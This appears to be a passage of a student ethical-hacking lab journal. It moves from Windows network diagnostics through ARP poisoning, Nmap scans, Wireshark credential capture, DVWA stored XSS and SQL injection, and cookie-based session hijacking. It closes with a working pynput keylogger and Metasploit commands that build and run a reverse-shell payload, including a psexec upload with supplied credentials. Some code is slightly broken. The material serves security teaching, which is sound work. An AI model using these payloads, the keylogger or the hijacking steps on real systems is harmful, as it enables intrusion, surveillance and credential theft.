   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2C-40-43-B8-50-9A-4C-29-22-8E
   DNS Servers . . . . . . . . . . . : 8.8.8.8
                                       4.2.2.2
   NetBIOS over Tcpip. . . . . . . . : Enabled

Ethernet adapter vEthernet (Default Switch):

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter
   Physical Address. . . . . . . . . : 00-15-5D-07-7B-7C
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::6e68:b22d:c600:79b0%9(Preferred)
   IPv4 Address. . . . . . . . . . . : 172.19.0.1(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . :
   DHCPv6 IAID . . . . . . . . . . . : 151000413
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2C-40-43-B8-50-9A-4C-29-22-8E
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Enabled

Ethernet adapter vEthernet (Ethernet):

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter #2
   Physical Address. . . . . . . . . : 00-15-5D-F5-F8-8F
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::f010:5d0d:80b5:56bd%27(Preferred)
   IPv4 Address. . . . . . . . . . . : 172.17.240.1(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . :
   DHCPv6 IAID . . . . . . . . . . . : 452990301
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2C-40-43-B8-50-9A-4C-29-22-8E
```

- **Use the ping command to test network connectivity and analyze the output.**

```
C:\Windows\System32>ping www.siesascn.edu.in

Pinging siesascn.edu.in [65.108.27.161] with 32 bytes of data:
Reply from 65.108.27.161: bytes=32 time=146ms TTL=45
Reply from 65.108.27.161: bytes=32 time=146ms TTL=45
Reply from 65.108.27.161: bytes=32 time=146ms TTL=45
Reply from 65.108.27.161: bytes=32 time=146ms TTL=45

Ping statistics for 65.108.27.161:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 146ms, Maximum = 146ms, Average = 146ms

C:\Windows\System32>ping 10.10.9.91

Pinging 10.10.9.91 with 32 bytes of data:
Reply from 10.10.9.91: bytes=32 time=1ms TTL=128
Reply from 10.10.9.91: bytes=32 time=1ms TTL=128
Reply from 10.10.9.91: bytes=32 time=1ms TTL=128
Reply from 10.10.9.91: bytes=32 time=1ms TTL=128

Ping statistics for 10.10.9.91:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 1ms, Maximum = 1ms, Average = 1ms
```

- **Analyze the netstat command output to view active network connections.**

```
C:\Windows\System32>netstat

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    10.10.9.90:63010       20.197.71.89:https     ESTABLISHED
  TCP    10.10.9.90:64609       20.212.88.117:https    ESTABLISHED
  TCP    10.10.9.90:64701       a23-215-7-24:https     CLOSE_WAIT
  TCP    10.10.9.90:64706       a23-215-7-24:https     CLOSE_WAIT
  TCP    10.10.9.90:64719       13.107.246.68:https    CLOSE_WAIT
  TCP    10.10.9.90:64722       4:https                ESTABLISHED
  TCP    10.10.9.90:64723       bom07s16-in-f3:https   ESTABLISHED
  TCP    10.10.9.90:64724       e2a:https              ESTABLISHED
  TCP    10.10.9.90:64725       20.54.232.160:https    ESTABLISHED
  TCP    10.10.9.90:64731       a23-213-43-196:https   ESTABLISHED
```

- **Perform a traceroute to trace the route packets take to reach a target host.**

```
C:\Windows\System32>tracert www.siesascn.edu.in

Tracing route to siesascn.edu.in [65.108.27.161]
over a maximum of 30 hops:

  1    <1 ms    <1 ms    <1 ms  10.10.10.5
  2     4 ms     1 ms     2 ms  static-17.86.248.49-tataidc.co.in [49.248.86.17]
  3     2 ms     3 ms     2 ms  10.0.10.209
  4     2 ms     1 ms     1 ms  10.124.253.101
  5     2 ms     *        *     10.118.143.9
  6     1 ms     1 ms     1 ms  115.113.165.21.static-mumbai.vsnl.net.in [115.113.165.21]
  7     2 ms     6 ms     4 ms  172.23.78.237
  8     4 ms     1 ms     2 ms  ix-ae-0-100.tcore1.mlv-mumbai.as6453.net [180.87.38.5]
  9     *      126 ms     *     if-be-6-2.ecore1.emrs2-marseille.as6453.net [195.219.174.16]
 10   126 ms     *      126 ms  if-bundle-2-2.qcore2.emrs2-marseille.as6453.net [80.231.165.25]
 11     *        *        *     Request timed out.
 12   123 ms   123 ms   123 ms  if-ae-59-2.tcore1.fr0-frankfurt.as6453.net [195.219.87.195]
 13   146 ms   146 ms   174 ms  ex9k1.dc2.hel1.hetzner.com [213.239.224.138]
 14   147 ms   153 ms   147 ms  static.83.9.216.95.clients.your-server.de [95.216.9.83]
 15   146 ms   146 ms   146 ms  web8.awareindia.com [65.108.27.161]
```

- **Execute “arp” command**

```
C:\Windows\System32>arp -a

Interface: 10.10.9.90 --- 0x4
  Internet Address      Physical Address      Type
  10.10.8.162           00-25-64-90-8e-4f     dynamic
  10.10.8.178           8c-ec-4b-cf-82-ce     dynamic
  10.10.8.186           50-9a-4c-29-23-39     dynamic
  10.10.8.191           f0-4d-a2-fe-5d-ca     dynamic
  10.10.8.192           f0-4d-a2-fe-63-7a     dynamic
  10.10.8.193           f0-4d-a2-fe-c7-25     dynamic
  10.10.8.196           10-e7-c6-b2-69-33     dynamic
  10.10.8.198           50-9a-4c-29-22-db     dynamic
  10.10.8.199           50-9a-4c-29-23-4c     dynamic
  10.10.8.200           50-9a-4c-29-1e-bf     dynamic
  10.10.8.201           50-9a-4c-28-c5-8a     dynamic
```

```
  10.10.10.121          50-9a-4c-28-c1-87     dynamic
  10.10.10.132          50-9a-4c-29-23-4d     dynamic
  10.10.10.142          50-9a-4c-29-22-13     dynamic
  10.10.11.7            70-b5-e8-29-69-5d     dynamic
  10.10.11.255          ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

Interface: 172.19.0.1 --- 0x9
  Internet Address      Physical Address      Type
  172.19.15.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

Interface: 172.17.240.1 --- 0x1b
  Internet Address      Physical Address      Type
  172.17.255.255        ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static
```

Practical - 3.B

Aim: Windows Network Analysis and ARP Poisoning

2) ARP Poisoning:

- **Use ARP poisoning techniques to redirect network traffic on a Windows system.**
- **Analyze the effects of ARP poisoning on network communication and security.**

Steps:

1) Click on Sniffer tab.

2) Click on Start/Stop Sniffer and give range values and click okay.

IP address	MAC address	OUI fingerprint	Host name	B...	B...	B8	Gr	M0	M1	M3
192.168.9.1	0C80634B86AE									
192.168.9.119	A0481C91137A	Hewlett Packard								
192.168.9.123	4061865922EC	MICRO-STAR INT'L CO.,LTD								
192.168.9.126	00E04C1255D3	REALTEK SEMICONDUCTOR...								
192.168.9.145	A0481C9211AD	Hewlett Packard								
192.168.9.149	705A0F4B0725									
192.168.9.153	A0481CA54B60	Hewlett Packard								
192.168.9.164	406186591F95	MICRO-STAR INT'L CO.,LTD								
192.168.9.177	F0D7AAD672C3									

3) Right click on any IP and select Resolve Host Name.

4) Click on ARP tab on the bottom.

5) Click on Add Button(1) and select your router and any IP.

6) Click on the IP and then click on the button shown in the image to start ARP Poisoning.

Practical - 4

Aim: Port Scanning with NMap

- **Use NMap to perform an ACK scan to determine if a port is filtered, unfiltered, or open.**
- **Perform SYN, FIN, NULL, and XMAS scans to identify open ports and their characteristics.**
- **Analyze the scan results to gather information about the target system's network services.**

Requirements: Nmap cmd, Wireshark

Steps:

- Open WireShark > Capture > Options > Select till Ethernet 2 > Start
- Open Nmap Cmd > Enter the required statement > Run > Put the IP address which was generated in the URL of Wireshark by entering " ip.addr == 45.33.32.156 " > Enter > Stop Capturing
- Follow the same procedures for all Flags

1) **ACK** `-sA` (TCP ACK scan)

It never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.

Command: nmap -sA -T4 scanme.nmap.org

```
C:\Users\sushil>nmap -sA -T4 scanme.nmap.org
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 13:01 India Standard Time
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.16s latency).
All 1000 scanned ports on scanme.nmap.org (45.33.32.156) are unfiltered

Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds
```

2) **SYN (Stealth) Scan (-sS)**

SYN scan is the default and most popular scan option for good reason. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by intrusive firewalls.

Command: nmap -p22,113,139 scanme.nmap.org

```
C:\Users\sushil>nmap -p22,113,139 scanme.nmap.org
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 13:03 India Standard Time
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.039s latency).
```

3) **FIN Scan (-sF)**

Sets just the TCP FIN bit.

Command: nmap -sF -T4 para

```
C:\Users\sushil>nmap -sF -T4 para
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 13:04 India Standard Time
Failed to resolve "para".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 2.44 seconds
```

4) **NULL Scan** (-sN)

Does not set any bits (TCP flag header is 0)

Command: nmap –sN –p 22 scanme.nmap.org

```
C:\Users\sushil>nmap -sN -p 22 scanme.nmap.org
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 13:06 India Standard Time
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.061s latency).

PORT   STATE         SERVICE
22/tcp open|filtered ssh

Nmap done: 1 IP address (1 host up) scanned in 3.15 seconds
```

5) **XMAS Scan (-sX)**

Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.

Command: nmap -sX -T4 scanme.nmap.org

```
C:\Users\sushil>nmap -sX -T4 scanme.nmap.org
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 13:07 India Standard Time
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.058s latency).
All 1000 scanned ports on scanme.nmap.org (45.33.32.156) are open|filtered

Nmap done: 1 IP address (1 host up) scanned in 8.77 seconds
```

Practical - 5

Aim: Network Traffic Capture using WireShark

- **Use Wireshark to capture network traffic on a specific network interface.**
- **Analyze the captured packets to extract relevant information and identify potential security issues**

Requirements: Wireshark, FTPv6-1.cap file

<u>Steps for HTTP:</u>

Open Wireshark > Start Capturing > Minimize the Tab
Open Google > Search for “vulnweb login” > Click on
“login page - Home of Acunetix Art” > Sign up > Login once
Reopen Wireshark > Type “ http.request.method== “GET” ” in the Apply filers tab > Enter
Click on “ /signup.php HTTP/1.1 ” > Expand the below tab “ Hypertext Transfer Protocol ”

Click on “ /login.php HTTP/1.1 ” > Expand the below tab “ Hypertext Transfer Protocol ”

Now, In the Apply Filters Tab > Type “ http.request.method== “POST” ” > Enter
Click on “ /secured/newuser.php HTTP/1.1 ” > Expand the below tab “HTML form URL Encoded:”

Click on “ /userinfo.php HTTP/1.1 ” > Expand the below tab “HTML form URL Encoded:”

Steps for FTP:

Visit Google Chrome > Search for Wireshark Sample Captures > Click on "SampleCaptures - Wireshark Wiki" > Ctrl F > Search for FTPv > Click on "FTPv6-1.cap" > Download it
Open Wireshark > Click on Folder > Open the downloaded file > In the Apply Filters tab, Type " ftp.request.arg " > Enter twice
Click the first link > Expand File Transfer Protocol (FTP) in Below Tab

Select the first link > Right CLick > Follow > TCP Stream >

Final Output:

Practical - 6

Aim: Persistent Cross-Site Scripting Attack

- **Set up a vulnerable web application that is susceptible to persistent XSS attacks.**
- **Craft a malicious script to exploit the XSS vulnerability and execute arbitrary code.**
- **Observe the consequences of the attack and understand the potential risks associated with XSS vulnerabilities.**

Steps:

1. Extract the DVWA zip file.

2. Copy the folder and paste it in Drive C: > xampp > htdocs

3. Rename the file as DVWA.

4. Go in the config file and rename the file as config.inc.php

5. Open chrome and search localhost/DVWA.

6. Click on create/reset database. The database will be created. Click on login.

7. Username = “Admin” and Password = “password”. Click on login.

8. Click on DVWA security and set the security to low.

9. Click on XSS (Stored) write the script and click on sign guestbook. The script will be executed whenever the page is reloaded.

DVWA
Vulnerability: Stored Cross Site Scripting (XSS)
Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
CSP Bypass
JavaScript
DVWA Security
PHP Info
About
Logout
Name *
Message *
This site says...
This is XSS Exploit Test
OK

Practical - 7

Aim: Session Impersonation with Firefox and Tamper Data

- **Install and configure the Tamper Data add-on in Firefox.**
- **Intercept and modify HTTP requests to impersonate a user's session.**
- **Understand the impact of session impersonation and the importance of session management.**

Steps:

1) **Install & Open FireFox Browser. Go to Add-ons and Search Tamper Data**
2) **Search for Cookie Editor and Add.**

3) **After adding both Add-ons. In new tab ,Go to http://www.techpanda.org/**
4) **Enter Email as: admin@google.com Enter Password as: Password2010**
5) **The Dashboard will be visible**

ID	First Name	Last Name	Mobile No	Email	Actions
1	mynams	jenefry	9898989898	admin@gmail.com	
80452	solopklp	solopklp	11111111111	admin@gmail.com	Edit
80453		Maiden	87635444242	darkmaiden@octupus.ps	Edit
80454	sakshi	sharma	6746768789	xyz454@gmail.com	Edit
80455	stuffy	singh	1234567	doggy03@gmail.com	Edit
80456	io	stream	8754921647	admin@google.com	Edit
80457	まこ	まこ	まこ	macomaco1@gmail.com	Edit
80458	Pushpendra	Yadav	9125204045	pushpendryadav503@gmail.com	Edit

6) **Click on Cookie Editor Add-on Top Right Corner. Copy the session id.**

7) **Go to options/privacy/ and delete the cookies.**

8) Start Tamper Data > Click Yes

Extension: (Tamper Data for FF Quantum) - Start Tamper Data — Mozilla Firefox

Type	Description
☐ beacon	Requests sent through the Beacon API.
☐ csp_report	Requests sent to the report-uri given in the Content-Security-Policy header, when an attempt to violate the policy is detected.
☐ font	Web fonts loaded for a @font-face CSS rule.
☐ image	Resources loaded to be rendered as image, except for imageset on browsers that support that type.
☐ imageset	Images loaded by a `<picture>` element or given in an `<img>` element's `srcset` attribute.
☑ main_frame	Top-level documents loaded into a tab.
☐ media	Resources loaded by a `<video>` or `<audio>` element.
☐ object	Resources loaded by an `<object>` or `<embed>` element.
☐ object_subrequest	Requests sent by plugins.
☐ ping	Requests sent to the URL given in a hyperlink's ping attribute, when the hypelink is followed.
☐ script	Code that is loaded to be executed by a `<script>` element or running in a Worker.
☐ speculative	A TCP/TLS handshake made by the browser when it determines it will need the connection open soon.
☐ stylesheet	CSS stylesheets loaded to describe the representation of a document.
☐ sub_frame	Documents loaded into an `<iframe>` or `<frame>` element.
☐ web_manifest	Web App Manifests loaded for websites that can be installed to the homescreen.
☐ websocket	Requests initiating a connection to a server through the WebSocket API.
☐ xbl	XBL bindings loaded to extend the behavior of elements in a document.
☐ xml_dtd	DTDs loaded for an XML document.
☑ xmlhttprequest	Requests sent by an XMLHttpRequest object or through the Fetch API.
☐ xslt	XSLT stylesheets loaded for transforming an XML document.
☐ other	Resources that aren't covered by any other available type.

Tamper with requests who's URL matches: (.*?)
Tamper requests only from this tab: ☐

Start Tamper Data?

Yes | No, Cancel

9) **Go to http://www.techpanda.org/**

10) **In Index.php page . Paste Copied Session Copied Session id in Cookie and click on OK**

11) **In dashboard.php page Paste the Copied Session Id in Cookie and click Ok**

12) **You will be logged in dashboard directly without logging in.**

ID	First Name	Last Name	Mobile No	Email	Actions
1	mynams	jenefry	9898989898	admin@gmail.com	
80452	solopklp	solopklp	11111111111	admin@gmail.com	Edit
80453		Maiden	87635444242	darkmaiden@octupus.ps	Edit
80454	sakshi	sharma	6746768789	xyz454@gmail.com	Edit
80455	stuffy	singh	1234567	doggy03@gmail.com	Edit
80456	io	stream	8754921647	admin@google.com	Edit
80457	まこ	まこ	まこ	macomaco1@gmail.com	Edit
80458	Pushpendra	Yadav	9125204045	pushpendryadav503@gmail.com	Edit

Practical - 8

Aim: SQL Injection Attack

- **Identify a web application vulnerable to SQL injection.**
- **Craft and execute SQL injection queries to exploit the vulnerability.**
- **Extract sensitive information or manipulate the database through the SQL injection attack.**

Steps:

1. Extract the DVWA zip file.

2. Copy the folder and paste it in Drive C: > xampp > htdocs

3. Rename the file as DVWA.

4. Go in the config file and rename the file as config.inc.php

5. Open chrome and search localhost/DVWA.

6. Click on create/reset database. The database will be created. Click on login.

7. Username = “Admin” and Password = “password”. Click on login.

8. Click on DVWA security and set the security to low.

9. Click on SQL Injection.

10. In User Id enter 1 and click on submit.

E-next
LEVEL OF EDUCATION

11. Type 1’ or tue;# and click on submit.

Practical - 9

Aim: Creating a Keylogger with Python

- **Write a Python script that captures and logs keystrokes from a target system.**
- **Execute the keylogger script and observe the logged keystrokes.**
- **Understand the potential security risks associated with keyloggers and the importance of protecting against them.**

Note: Make sure you have the pynput **library installed (**pip install pynput**) before running this script.**

Code:

```
import logging
from pynput.keyboard import Key, Listener

# Setting the log directory
log_dir = "C:/Users/admin/AppData/Local/Programs/Python/Python311/key_log.txt"

# Basic logging configuration
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,
format='%(asctime)s: %(message)s')

# Function to handle key press event
def on_press(key):
    logging.info(str(key))

# Starting the listener
with Listener(on_press=on_press) as listener:
    listener.join()
```

Output:

Python 3.7.0 Shell

File Edit Shell Debug Options Window Help

```
Python 3.7.0 (v3.7.0:1bf9cc5093, Jun 27 2018, 04:06:47) [MS
C v.1914 32 bit (Intel)] on win32
Type "copyright", "credits" or "license()" for more informa
tion.
>>>
================== RESTART: C:/Users/RDNC/Desktop/eh9.py =
==================
Hello World
```

key_log.txt - Notepad

File Edit Format View Help

```
2019-01-21 15:41:03,332:Key.shift_r:
2019-01-21 15:41:03,660:'h':
2019-01-21 15:41:04,012:'e':
2019-01-21 15:41:04,276:'l':
2019-01-21 15:41:04,444:'l':
2019-01-21 15:41:04,605:'o':
2019-01-21 15:41:04,724:Key.space:
2019-01-21 15:41:04,885:Key.shift_r:
2019-01-21 15:41:05,052:'w':
2019-01-21 15:41:05,188:'o':
2019-01-21 15:41:05,428:'r':
2019-01-21 15:41:05,885:Key.backspace:
2019-01-21 15:41:06,045:Key.backspace:
2019-01-21 15:41:06,644:'o':
2019-01-21 15:41:06,989:'r':
2019-01-21 15:41:07,140:'l':
2019-01-21 15:41:07,221:'d':
```

Practical - 10

Aim: Exploiting with Metasploit (Kali Linux)

- **Identify a vulnerable system and exploit it using Metasploit modules.**
- **Gain unauthorized access to the target system and execute commands or extract information.**
- **Understand the ethical considerations and legal implications of using Metasploit for penetration testing.**

Steps:

Boot kali linux in pendrive and open it in PC. Open metasploit and type exit command to quit. The directory will change to root@kali.
Type the following command.

1. msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.9.191 LPORT=31337 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe
2. msfconsole
3. use exploit/multi/handler
4. msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
5. payload => windows/shell/reverse_tcp
6. Show options
7. msf exploit(multi/handler) > set LHOST 192.168.9.191 8. LHOST => 192.168.9.191
9. msf exploit(multi/handler) > set LPORT 31337 10. LPORT => 31337
11. msf exploit(multi/handler) > exploit

PUT THE PAYLOAD GENEREATED IN A WINDOWS PC (MAKE SURE ANTIVIRUS IS OFF) AND RUN THE EXE FILE.

```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
```